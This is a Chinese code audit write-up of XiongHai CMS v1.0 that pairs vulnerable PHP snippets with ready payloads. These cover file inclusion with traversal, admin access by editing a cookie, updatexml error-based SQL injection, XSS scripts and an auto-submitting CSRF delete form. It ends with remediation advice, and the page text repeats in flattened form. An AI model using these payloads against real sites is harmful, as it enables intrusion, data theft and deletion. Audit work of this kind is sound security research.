熊海cmsv1.0代码审计
字数 1750 2025-08-03 16:46:06

熊海CMS v1.0 代码审计报告

环境搭建

  1. 所需工具

    • 熊海CMS 1.0 (下载地址:http://js.down.chinaz.com/201503/xhcms_v1.0.rar)
    • Seay代码审计工具
    • PHPStudy (PHP版本不宜过高)
    • Windows 7作为靶机
  2. 安装步骤

    • 解压CMS到web目录
    • 手动创建数据库
    • 访问安装页面:http://[靶机IP]/xhcms/install1
    • 完成安装

漏洞分析

1. 文件包含漏洞

漏洞文件

  • /index.php
  • /admin/index.php

漏洞代码

$file=addslashes($_GET['r']);
$action=$file==''?'index':$file;
include('files/'.$action.'.php');

利用方式

  • 包含files目录下的文件:?r=phpinfo
  • 目录穿越包含根目录文件:?r=../../test

2. 越权访问漏洞

漏洞文件

  • /inc/checklogin.php

漏洞代码

$user=$_COOKIE['user'];
if ($user==""){
    header("Location: ?r=login");
    exit;   
}

影响范围

  • admin/files目录下除login.php和outlogin.php外的所有页面

利用方式

  1. 使用普通用户登录获取cookie
  2. 修改cookie中user值为admin
  3. 访问后台管理页面

3. SQL注入漏洞

3.1 后台SQL注入

漏洞文件

  • /admin/files/login.php
  • /admin/files/editcolumn.php
  • /admin/files/editlink.php
  • /admin/files/editsoft.php
  • /admin/files/editwz.php
  • /admin/files/wzlist.php
  • /admin/files/softlist.php

典型漏洞代码

$id=$_GET['id'];
$query = "SELECT * FROM nav WHERE id='$id'";

利用方式

  • 报错注入:1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
  • POST参数注入:1' or updatexml(1,concat(0x7e,(select database())),0) or'

3.2 前台SQL注入

漏洞文件

  • /files/content.php
  • /files/software.php

漏洞代码

$id=addslashes($_GET['cid']);
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";

利用方式

  • 直接注入:?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

4. XSS漏洞

4.1 存储型XSS

漏洞文件

  • /admin/files/manageinfo.php
  • /files/content.php
  • /files/contact.php

漏洞代码

$name=$_POST['name']; // 未过滤直接输出
echo $name;

利用方式

  • 提交恶意脚本:<script>alert(1)</script>
  • 或:``

4.2 反射型XSS

漏洞文件

  • /files/contact.php

漏洞代码

$page=addslashes($_GET['page']);
if ($page<>""){
    if ($page<>1){
        $pages="第".$page."页 - ";
    }
}

利用方式

  • 构造恶意URL:?page=<script>alert(1)</script>

5. CSRF漏洞

漏洞文件

  • /admin/files/wzlist.php
  • /admin/files/softlist.php

漏洞代码

$delete=$_GET['delete'];
if ($delete<>""){
    $query = "DELETE FROM content WHERE id='$delete'";
    // 无token验证
}

利用方式

  1. 构造恶意页面:
<form action="http://target/admin/?r=wzlist&delete=1" method="POST">
    <input type="submit" value="点击有奖">
</form>
<script>document.forms[0].submit();</script>
  1. 诱骗管理员访问

漏洞修复建议

  1. 文件包含

    • 使用白名单限制包含文件
    • 禁用动态包含
  2. 越权访问

    • 使用session而非cookie验证身份
    • 增加权限验证机制
  3. SQL注入

    • 使用预处理语句
    • 对所有输入参数进行严格过滤
  4. XSS

    • 输出时使用htmlspecialchars()或htmlentities()
    • 设置Content-Security-Policy头
  5. CSRF

    • 增加随机token验证
    • 检查Referer头

审计总结

  1. 该CMS存在多处高危漏洞,包括但不限于:

    • 文件包含
    • 越权访问
    • SQL注入
    • XSS
    • CSRF
  2. 漏洞主要成因:

    • 输入未充分过滤
    • 缺乏权限验证
    • 使用不安全函数
  3. 建议:

    • 开发者应全面重构安全机制
    • 用户应立即停止使用该版本
    • 升级到最新安全版本

参考链接

  1. https://xz.aliyun.com/t/7629
  2. https://blog.csdn.net/weixin_43872099/article/details/103001600
熊海CMS v1.0 代码审计报告 环境搭建 所需工具 : 熊海CMS 1.0 (下载地址:http://js.down.chinaz.com/201503/xhcms_ v1.0.rar) Seay代码审计工具 PHPStudy (PHP版本不宜过高) Windows 7作为靶机 安装步骤 : 解压CMS到web目录 手动创建数据库 访问安装页面:http://[ 靶机IP ]/xhcms/install1 完成安装 漏洞分析 1. 文件包含漏洞 漏洞文件 : /index.php /admin/index.php 漏洞代码 : 利用方式 : 包含files目录下的文件: ?r=phpinfo 目录穿越包含根目录文件: ?r=../../test 2. 越权访问漏洞 漏洞文件 : /inc/checklogin.php 漏洞代码 : 影响范围 : admin/files目录下除login.php和outlogin.php外的所有页面 利用方式 : 使用普通用户登录获取cookie 修改cookie中user值为admin 访问后台管理页面 3. SQL注入漏洞 3.1 后台SQL注入 漏洞文件 : /admin/files/login.php /admin/files/editcolumn.php /admin/files/editlink.php /admin/files/editsoft.php /admin/files/editwz.php /admin/files/wzlist.php /admin/files/softlist.php 典型漏洞代码 : 利用方式 : 报错注入: 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ POST参数注入: 1' or updatexml(1,concat(0x7e,(select database())),0) or' 3.2 前台SQL注入 漏洞文件 : /files/content.php /files/software.php 漏洞代码 : 利用方式 : 直接注入: ?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) 4. XSS漏洞 4.1 存储型XSS 漏洞文件 : /admin/files/manageinfo.php /files/content.php /files/contact.php 漏洞代码 : 利用方式 : 提交恶意脚本: <script>alert(1)</script> 或: `` 4.2 反射型XSS 漏洞文件 : /files/contact.php 漏洞代码 : 利用方式 : 构造恶意URL: ?page=<script>alert(1)</script> 5. CSRF漏洞 漏洞文件 : /admin/files/wzlist.php /admin/files/softlist.php 漏洞代码 : 利用方式 : 构造恶意页面: 诱骗管理员访问 漏洞修复建议 文件包含 : 使用白名单限制包含文件 禁用动态包含 越权访问 : 使用session而非cookie验证身份 增加权限验证机制 SQL注入 : 使用预处理语句 对所有输入参数进行严格过滤 XSS : 输出时使用htmlspecialchars()或htmlentities() 设置Content-Security-Policy头 CSRF : 增加随机token验证 检查Referer头 审计总结 该CMS存在多处高危漏洞,包括但不限于: 文件包含 越权访问 SQL注入 XSS CSRF 漏洞主要成因: 输入未充分过滤 缺乏权限验证 使用不安全函数 建议: 开发者应全面重构安全机制 用户应立即停止使用该版本 升级到最新安全版本 参考链接 https://xz.aliyun.com/t/7629 https://blog.csdn.net/weixin_ 43872099/article/details/103001600